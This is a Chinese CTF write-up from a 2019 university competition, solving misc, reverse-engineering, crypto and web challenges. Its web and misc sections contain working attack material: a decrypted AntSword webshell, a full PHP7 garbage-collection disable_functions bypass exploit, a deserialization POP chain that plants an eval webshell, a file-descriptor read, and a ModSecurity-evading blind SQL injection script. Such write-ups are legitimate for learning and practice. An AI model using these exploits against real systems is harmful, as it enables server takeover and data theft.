MISC

0x01 misc1

导出数据观察可以发现最小值为0x2,最大值为0xF9,根据判断可见字符在这个范围内的应该为EBCDIC编码,且是CP1146(IBM EBCDIC英国编码) 可以编写解码脚本



最简单的方法是使用WPS Word打开文件,文件 -> 文件 -> 重新载入 -> IBM EBCDIC英国编码
0x02 misc2#!/usr/bin/env python# -*- coding: utf-8 -*-
import osfrom flask import requestfrom flask import Flask
secret = open('/flag', 'rb')
os.remove('/flag')

app = Flask(__name__)app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'

@app.route('/')def index():    return open(__file__).read()

@app.route("/r", methods=['POST'])def r():    data = request.form["data"]    if os.path.exists(data):        return open(data).read()    return ''

if __name__ == '__main__':    app.run(host='0.0.0.0', port=8000, debug=False)
存在任意文件读取,flag文件open后被删除,可以读取文件描述符拿到flag

data=/proc/self/fd/3

0x02 misc3

使用010editor等十六进制编辑器打开html文件,可看见存在一段由序列E2 80 8C和序列E2 80 8B组成的隐藏字符,把E2 80 8C视为0E2 80 8B视为1进行转换可得flag 在Chrome浏览器的开发者工具中打开也可以发现

2019高校运维赛writeup_f5

0x03 webshell

分析流量可知,在服务器上执行的shell解密后大致如下

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
    @session_start();
    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}


;;
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "8c2b4";
    echo @asenc($output);
    echo "e2e10";
}


ob_start();
try {
    $p = base64_decode($_POST["0x1b4d456c7297d"]);
    $s = base64_decode($_POST["0xb9b45688a5a08"]);
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    $r = "{$p} {$c}";
    function fe($f)
{
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }


    ;
    function runcmd($c)
{
        $ret = 0;
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } else {
            $ret = 127;
        }
        return $ret;
    }


    ;
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
//ed3edq113

在第七个HTTP流中,读取了flag

2019高校运维赛writeup_f5_02

flag经过了一层base64加密,在asoutput方法中增加了前后缀,然后在套一下base64,顺便AES加密 响应的内容如下:

2019高校运维赛writeup_flask_03

解密脚本

<?php
$r=file_get_contents("enc");
$key = 'f5045b05abe6ec9b1e37fafa851f5de9';
echo openssl_decrypt(base64_decode($r), 'AES-128-ECB', $key, OPENSSL_RAW_DATA);
?>

拿到flag:flag{AntSword_is_Powerful_3222222!!!!}

re

re1

init_arrayfini_array都有一个函数,在init_array里的函数里加了反调,直接patch即可,然后还把key修改了

2019高校运维赛writeup_flask_04

然后fini_array才是最后的比较函数

2019高校运维赛writeup_f5_05

加密函数是RC4算法,解题脚本为:

2019高校运维赛writeup_php_06

re2

32元一次方程组,把数据扣出来在到在线网站上解密(

# import re
# a = ''' 17153 * a1[27]
# + 41549 * a1[26]
# + 28202 * a1[24]
# + 36806 * a1[23]
# + 12690 * a1[22]
# + 42821 * a1[20]
# + 39834 * a1[19]
# + 17994 * a1[17]
# + 32765 * a1[14]
# + 25687 * a1[10]
# + 33388 * a1[9]
# + 143 * a1[4]
# + 63776 * a1[0]
# + 8682 * a1[1]
# - 16324 * a1[2]
# - 20022 * a1[3]
# - 48973 * a1[5]
# - 57775 * a1[6]
# - 43820 * a1[7]
# - 41070 * a1[8]
# - 15669 * a1[11]
# - 6946 * a1[12]
# - 23187 * a1[13]
# - 46495 * a1[15]
# - 8395 * a1[16]
# - 27782 * a1[18]
# - 46043 * a1[21]
# - 15428 * a1[25]
# - 59010 * a1[28]
# - 49235 * a1[29]
# - 53666 * a1[30]
# + 28539 * a1[31] == -15479857 '''
# a = a.replace("a1","").split("\n")


# matrix = [0 for i in range(32)]




# for i in range(32):
  # f = re.search("([+-]?) ([0-9]*)",a[i]).groups()[0]
  # value = int(re.search("([+-]?) ([0-9]*)",a[i]).groups()[1])
  # if f != '':
    # if f == '-':
      # value = -1*value
    # else:
      # pass
  # idx = int(a[i][a[i].find('[')+1:a[i].find(']')])
  # matrix[idx] = value
# m = ''
# for i in matrix:
  # m += str(i)+','
# m = m.strip(',')
# print m


# http://www.yunsuan.info/matrixcomputations/solvelinearsystems.html
# 44493,-326,-57451,-18424,22432,45266,20069,47551,-3751,39591,35081,45204,-6984,-9410,-54261,2139,48734,-62111,44970,29470,-20305,-33120,39390,1513,58180,-11160,-24198,37157,50244,-1646,37027,-13318
# -54741,-3606,48560,-45416,22008,11900,-24275,-64371,32499,46114,-25714,21730,-56673,9624,28702,-39430,9187,-35779,26720,-15144,51548,11260,48594,-45050,-59016,50109,-29262,-55650,-29492,-13828,12535,40522
# 17703,-16114,-24359,54532,15266,5819,-33999,19362,-58904,63538,64858,2665,-11844,-29623,20144,43681,32755,-42532,-60912,20331,3541,53780,29817,-4711,-56853,57822,31675,52683,57988,-33486,12097,24590
# 24247,64898,-24733,3430,41149,17219,-16545,42702,-1315,24960,27013,28,2783,-15867,-12126,28232,-3823,37522,48151,-20727,-12037,-9347,-39338,-50524,-38675,-26114,-4975,59561,32393,36741,51792,-24297
# -32261,-54551,15294,-61664,-40648,-12277,-55300,-63212,41251,-45548,-22362,-32993,64221,-43046,-40770,5380,57738,62825,52035,3079,-7119,26782,-36194,-56102,-19468,54655,35562,-59856,25143,13289,64702,23822
# -9407,64048,60965,33702,-12654,-56126,-47366,47843,30627,-29056,32583,-50822,-6240,43847,47577,-12371,8314,22558,9886,43924,-23282,-13137,-13716,6461,63681,-43391,-37217,-43714,-55909,-62806,5977,36688
# -23136,47281,20301,-61441,2565,57144,44459,-31365,16024,54218,-56894,-52977,-39404,-63477,63390,-22773,46343,-50258,40389,-25970,23917,-56685,47030,5856,-55893,36904,44955,58093,13407,49426,26401,-25199
# 62577,23069,18654,4696,22400,-16178,42663,-34941,-50803,-28229,15341,3911,-45565,50053,-45774,18373,7881,-28140,1742,-29986,58351,14952,-40067,15201,11269,53436,41681,22198,-63863,-50393,-14615,16722
# -39728,57392,910,37963,-2274,-61995,-43938,-12412,-10642,-10303,31888,7362,-16356,-615,40135,-11314,-17185,54431,-61134,-4620,-4591,29560,35119,-51958,40581,34037,-65066,5750,-6232,-60002,17326,30503
# -16296,-8786,48180,-65236,-48383,-32713,61315,-58771,-47593,-14512,6483,56260,25366,58190,-60203,27537,50686,-7295,-3885,61335,-39212,-40687,-19258,-57463,32582,2313,-24504,-11629,-8917,31106,-4535,38212
# -31610,52623,-35005,25689,-9320,63683,39253,51102,-16508,11413,3265,35320,18706,6847,-55110,528,35247,-63180,30153,-13666,39538,-49046,33264,51928,13203,17103,59096,48721,33683,-42949,-60950,26096
# 47557,52902,-12806,-59773,-9182,-57417,-18447,6146,15859,59808,30791,-54963,45466,-61599,49637,21116,15786,3656,-18454,28722,46709,21307,50390,5176,-30277,-25544,-17882,-25149,61328,-17363,49588,21848
# 37688,23309,-2616,59129,5104,-12561,-3215,60503,29438,42505,-49703,38339,12457,45365,-15471,33925,-23447,-50859,-86,54770,36604,-3773,-9573,-25835,42417,4680,-20107,58284,-45915,-56171,18191,29164
# 20452,18062,-56424,56918,-10457,50206,-12288,-54591,-44777,24700,12962,38458,-52078,19385,18867,-9805,-48011,-27363,-20890,13714,-788,50998,29867,-7954,-34056,16127,5149,49705,-34732,-54092,64657,35416
# -39611,25246,1951,-37145,-3824,21330,-49145,-43603,8191,-60671,-53032,-48392,-15417,40645,-13059,-58653,42329,-51631,-50173,18903,52431,-44904,37330,40656,-34380,24333,41644,-18100,-57765,-64534,44968,-26760
# -39824,44401,45166,53538,-2540,43929,-54452,-11199,-19801,23926,-13592,47959,19579,-29922,30392,15405,61374,17545,39526,7046,-34144,57593,-5305,-46917,44211,-4511,-23881,29438,-39081,34688,28579,3296
# 62215,19566,15203,-30340,-15964,59815,-13939,60087,-43008,-44925,-49239,-40498,-54453,-33557,6928,24510,36587,-24721,7959,49381,-21456,-40311,8487,-61111,-18918,-33393,-9301,41415,-61619,64380,40454,58498
# 35423,-12994,33894,40977,57560,63291,-32256,-23534,40291,5725,-40660,43131,-19119,21483,39085,62097,-33732,-63756,35027,3633,30380,36333,-13528,53612,6578,-47605,10809,-43202,14305,2766,-42819,-34232
# 44942,63420,58838,55103,27162,53130,27559,26302,-24313,-42499,-21629,34155,-2633,-55014,-22926,19761,-305,-63708,13647,31419,62674,-32334,-47684,-54226,-50848,10136,26215,44427,27903,48054,-15102,-22362
# 6300,-30549,9153,26426,46559,-55683,62261,-44433,6137,-46194,-57198,33875,-45266,51231,65438,45781,-6605,-43397,-7672,-48485,-54035,-12567,-47051,-62256,13058,55552,4221,61587,23936,-9828,59525,50225
# -28415,36297,5686,59059,14796,-11307,-57251,-29507,-41415,12090,62270,8353,-24476,-41751,-46589,63967,55058,10481,30422,47722,-55870,-6321,53136,12704,42884,-34350,-32922,-64909,-50870,13236,39286,49349
# 15479,10453,58731,-9782,63976,-9166,5707,-21516,-2689,29174,23244,-47968,-38843,-13488,61646,3991,57764,-57649,63445,-487,6252,52361,16634,42491,-30704,54808,-61218,18612,-32873,-58677,-2280,35233
# 36368,-30534,50614,-7805,9520,-60795,-17511,-34692,-22139,-49013,-24672,41197,35504,28641,11252,-22264,56629,23301,-55578,-61882,-48469,28509,-8197,-43020,15688,29396,-36911,38392,58430,-6762,38132,56670
# 3542,-17533,28247,1791,-44455,-2748,21876,-38052,8511,61205,-16528,-4664,-13326,16494,-52661,-38860,58300,-60164,-39975,-19566,55072,-55251,-8160,-54674,58305,-29010,-6627,35318,-15962,19958,-10549,-8177
# -7510,-61303,25124,35004,-34033,-49161,-6021,-36125,37617,-10528,-47741,-45531,-1546,2052,-59464,29853,-22656,31346,26883,38644,26034,-24655,-9816,8621,-22299,-23745,37204,47703,13827,15394,-23945,48741
# 19310,1288,-38840,-49229,-40618,39102,34746,-41363,-45367,41169,-21440,-36535,33349,-43289,47866,5395,56668,-41392,30949,53570,-40337,16432,-1430,-28334,35917,-46487,61644,8511,-42458,27496,-59664,64335
# -18187,28981,-53485,17974,41797,-20458,-8491,-16831,33384,53494,-31995,51835,-12109,30996,42087,60427,12986,-51691,-58925,-40872,33269,3954,56824,-30202,59304,-30793,26203,13806,-42110,41403,-1100,-26194
# -40011,-26232,-4849,-60564,20386,44081,-50739,40590,-17237,19883,-35381,28950,-4203,19225,-50964,-39946,28859,12186,38175,-22511,-20539,15071,48156,34737,42732,-60250,-61430,-11009,47559,53536,-8879,46741
# -42653,43668,-10988,3756,34932,61953,22126,29632,59350,-48711,-23958,-33557,50367,41961,-17831,-4583,41615,27387,34328,-29750,9871,-49888,41239,18672,20039,56136,-30956,7689,45907,5442,-41068,23514
# -26968,-23313,38342,5179,10458,3678,-32333,-43275,-2423,-60827,-42621,15986,-27590,59508,53583,19553,-56307,869,6738,63177,-30359,50228,21760,-19919,24036,-18153,41909,-6931,-5822,-30949,-16572,11920
# 8386,57646,35980,-4029,8314,18877,4313,29760,-47059,46356,52295,35013,57567,-25490,64744,1703,55168,-62526,37870,-63227,-27315,31098,6747,63177,55323,-23370,-37329,54696,-6309,43819,-12433,8882
# 63776,8682,-16324,-20022,143,-48973,-57775,-43820,-41070,33388,25687,-15669,-6946,-23187,32765,-46495,-8395,17994,-27782,39834,42821,-46043,12690,36806,28202,-15428,41549,17153,-59010,-49235,-53666,28539


# 34771791
# -9451883
# 29782736
# 27959979
# -10644544
# 230179
# 15871572
# 12844672
# -7906855
# -5359162
# 34815239
# 23582278
# 30273764
# 7501764
# -35816639
# 30983928
# -4472687
# 18523534
# 20982750
# 5070455
# 3066924
# 26232118
# -860377
# -14482154
# -17062269
# 6695285
# 16909859
# -1622782
# 33025495
# -10454601
# 51177223
# -15479857




res = [99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,69,69,99,89]


flag = ''.join([chr(i) for i in res])


print flag

crypto

rsa1

2019高校运维赛writeup_php_07

p和q都是400位的数,p和q前后200相反

可以设p=a*pow(10,200)+b q=b*pow(10,200)+a

所以n=a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b

可以将n的前200位和后200位凭借得到 a*b

再用n减去a*b部分得到a*a + b*b

求出a,b后再求出p,q

from Crypto.Util.number import *
import gmpy2
import random
from gmpy2 import *
n=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301
e = 65537
nnn1=int(str(n)[:200])-1
nnn2=int(str(n)[600:])
ab=int(str(nnn1)+str(nnn2))


ab=2117306430457495084373744640919209184441085835440785339151821982858580957554648046398035452941253078562547380021066127607547324391257803263684574686690799140082210093930925498879813981907487546461281266736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301


a2b2=n-(pow(10,400)+1)*ab #a**2+b**2
# print a2b2
t=a2b2/pow(10,200)
# print t 


t1=t+2*ab #(a+b)**2
print "(a+b)**2:",t1 #(a+b)**2 
t2=t1-4*ab #(a-b)**2
print "(a-b)**2:",t2 #(a-b)**2 


tt1=iroot(t1,2)[0]
print "(a+b):",tt1 #(a+b)
tt2=iroot(t2,2)[0] 
print "(a-b):",tt2 #(a-b)


b=(tt1-tt2)/2
a=tt1-b
print "b:",b
print "a:",a


print iroot(t1,2)
print iroot(t2,2)


p = a*pow(10,200)+b
q = b*pow(10,200)+a


print p*q==n
print "p",p
print "q",q


phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
print "d",d
c=16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836
flag = gmpy2.powmod(c, d, n)
print hex(flag)[2:].decode('hex')

##AES

题目

#!/usr/bin/env python3
# coding=utf-8


import os
import signal
from Crypto.Cipher import AES
from Crypto.Util import Counter


def enc(msg, key):
    ctr = Counter.new(128,  initial_value=sum(msg))
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    return cipher.encrypt(msg)


if __name__ == '__main__':
    signal.alarm(60)
    key = os.urandom(16)
    with open('/home/ctf/flag', 'rb') as f:
        flag = f.read()
    assert len(flag) == 30
    enc_flag = enc(flag, key)


    print("Welcome to the our AES encryption system!")
    print(f"Here is your encrypted flag: {enc_flag}")
    for i in range(30):
        try:
            plaintext = input("Please input your plaintext: ")
            plaintext = bytes.fromhex(plaintext)
            ciphertext = enc(plaintext, key)
            print(f"Here is your ciphertext: {ciphertext}")
        except Exception:
            print('Error!')
            break
    print('Bye~')

Aes的counter模式(CTR)

其中initial_value=sum(msg) ,当我们输入的plaintext满足sum(plaintext)==sum(flag)时,flag ^ encflag == input ^ enc_input,从而求得flag=encflag ^ input ^ enc_input

flag长度30位 0x20*30从爆破到 0x7f*30

from pwn import *
import sys
from Crypto.Util.number import *


def check(str1):
  if "flag" in str1:
    return True
  else:
    return False


# for x in range(0x20,0x7f):
for x in range(92,93):
  print(x*30)
  p = remote("111.186.57.123",10001)
  p.recvuntil("flag: b")
  enc_flag = p.recvuntil("\n",drop=True)
  exec("enc_flag = "+enc_flag)
  for i in range(30):
    p.recvuntil("plaintext: ")
    plaintext=chr(x)*29+chr(x+i)
    p.sendline(plaintext.encode('hex'))
    p.recvuntil("ciphertext: b")
    ciphertext = p.recvuntil("\n",drop=True)
    exec("ciphertext = "+ciphertext)
    res = long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag))
    if check(res):
      print res

最终sum(flag)在2760到2790之间

flag为 flag{Don't_Reu5e_n0nCe_1n_CTR}

web

ezupload

<!---/.login.php.swp-->拿到源码

<?php
#error_reporting(0);
session_start();
include "config.php";


$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
      $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        }
        $stmt->close();
    }
}else{
    header("Location: /index.php");
}


$mysqli->close();

mysql没有查到记录时,$dpasswd===NULL 此时令$password===NULL$_POST['password']===NULL,则成功登陆

登陆后进入上传界面,测试发现,后端校验文件头和content-type 过滤php后缀名,上传.php5文件,成功拿到shell

拿到flag:flag{logical_bypass_not_weak_password}

expass(bypassDF)

开局一个后门

<?php
if(isset($_GET['src']))
{
    highlight_file(__FILE__);
}


eval($_GET['cmd']);

php垃圾回收https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

改一下执行的命令

POST /?cmd=eval($_POST['a']); HTTP/1.1
Host: 111.186.57.43:10101
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 5781
Content-Type: multipart/form-data; boundary=--------1608040292


----------1608040292
Content-Disposition: form-data; name="a"


@pwn('/readflag');


function pwn($cmd) {
    global $abc, $helper;


    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }


    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }


    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }


    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }


    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);


        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);


        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);


            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }


        if(!$data_addr || !$text_size || !$data_size)
            return false;


        return [$data_addr, $text_size, $data_size];
    }


    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;


            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;


            return $data_addr + $i * 8;
        }
    }


    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }


    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);


            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }


    class ryat {
        var $ryat;
        var $chtg;


        function __destruct()
{
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }


    class Helper {
        public $a, $b, $c, $d;
    }


    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }


    $n_alloc = 10; # increase this value if you get segfaults


    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);


    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();


    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];


    $helper = new Helper;
    $helper->b = function ($x) { };


    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }


    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;


    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);


    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);


    $closure_obj = str2ptr($abc, 0x20);


    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }


    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }


    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }


    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }


    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler


    ($helper->b)($cmd);


    exit();
}


----------1608040292

ezpop

<?php
error_reporting(0);


class A{


    protected $store;


    protected $key;


    protected $expire;


    public function __construct($store, $key = 'flysystem', $expire = null)
{
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }


    public function cleanContents(array $contents)
{
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);


        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }


        return $contents;
    }


    public function getForStorage()
{
        $cleaned = $this->cleanContents($this->cache);


        return json_encode([$cleaned, $this->complete]);
    }


    public function save()
{
        $contents = $this->getForStorage();


        $this->store->set($this->key, $contents, $this->expire);
    }


    public function __destruct()
{
        if (! $this->autosave) {
            $this->save();
        }
    }
}


class B{


    protected function getExpireTime($expire): int
{
        return (int) $expire;
    }


    public function getCacheKey(string $name): string
{
        return $this->options['prefix'] . $name;
    }


    protected function serialize($data): string
{
        if (is_numeric($data)) {
            return (string) $data;
        }


        $serialize = $this->options['serialize'];


        return $serialize($data);
    }


    public function set($name, $value, $expire = null): bool
{
        $this->writeTimes++;


        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }


        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);


        $dir = dirname($filename);


        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }


        $data = $this->serialize($value);


        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }


        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);


        if ($result) {
            return true;
        }


        return false;
    }


}


if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}


$dir = "uploads/";


if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

构造pop链

通过触发A::__destruct()=>A::save()=>A::store->set()==b::set()最后触发$result = file_put_contents($filename, $data);

绕过exit通过 让$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

因为php中的base64_decode函数会忽略不符合base64编码的字符, 将合法字符组成一个新的字符串进行解码,所以最终被解码的字符仅有php00000000exit和我们传入的$data变量,因为base64算法解码时是4个byte一组,所以我们只要控制我们需要真正解码内容的前面部分字符长度为4的倍数就行

详细可以参考p师傅的博客link

$filename

B::getCacheKey($name)中,将$this->options['prefix']$name拼接得到

构造B::optionsA::key使$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

$data

$value=A::getForStorage()B::serialize($value)得到

构造A的cache为数组['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];

就可以使得$value=A::getForStorage() 的值为[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]

然后再构造B的serialize值为serialize就可以使得B::serialize($value)的值为s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";

这样在最后$data被base64解码的时候只有php//000000000000exits64pathadirnamePD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然后前36位字符被编码成功绕过exit

payload

2019高校运维赛writeup_flask_08

ezjjava

fastjson 1.2.47 RCE https://github.com/CaijiOrz/fastjson-1.2.47-RCE

ezwaf

题目

<?php
include "config.php";


if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}


function escape($arr)
{
    global $mysqli;
    $newarr = array();
    foreach($arr as $key=>$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}


$_GET= escape($_GET);


if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}

选择age作为注入点,不需要逃逸引号,没有回显利用时间盲注

?age=1%2bsleep(1) => 403

apache设置了waf

用畸形的http包绕过modsecurity

import socket


ip = '111.186.57.43'
port = 10601


def send_raw(raw):
    try:
        with socket.create_connection((ip, port), timeout=4) as conn:
            conn.send(raw)
            res = conn.recv(10240).decode()
            # print(res)
            return False
    except:
        return True






if __name__ == '__main__':
    
    res = 'flag{abypass_modsecurity'
    for i in range(24, 50):
        for j in range(32, 127):
            payload = '''GET /?age=1%20or%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}%20and%20sleep(2) HTTP/1.1
Host: 111.186.57.43:10601
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Length: 0


'''.format(str(i), str(j))
            exp = payload.encode().replace(b'\n', b'\r\n')
            # print(exp)
            if send_raw(exp):
                res += chr(j)
                print(res)
                continue

不稳定的话时间可以调大一点。

看完全文,给文章评个分吧!


2019高校运维赛writeup_flask_09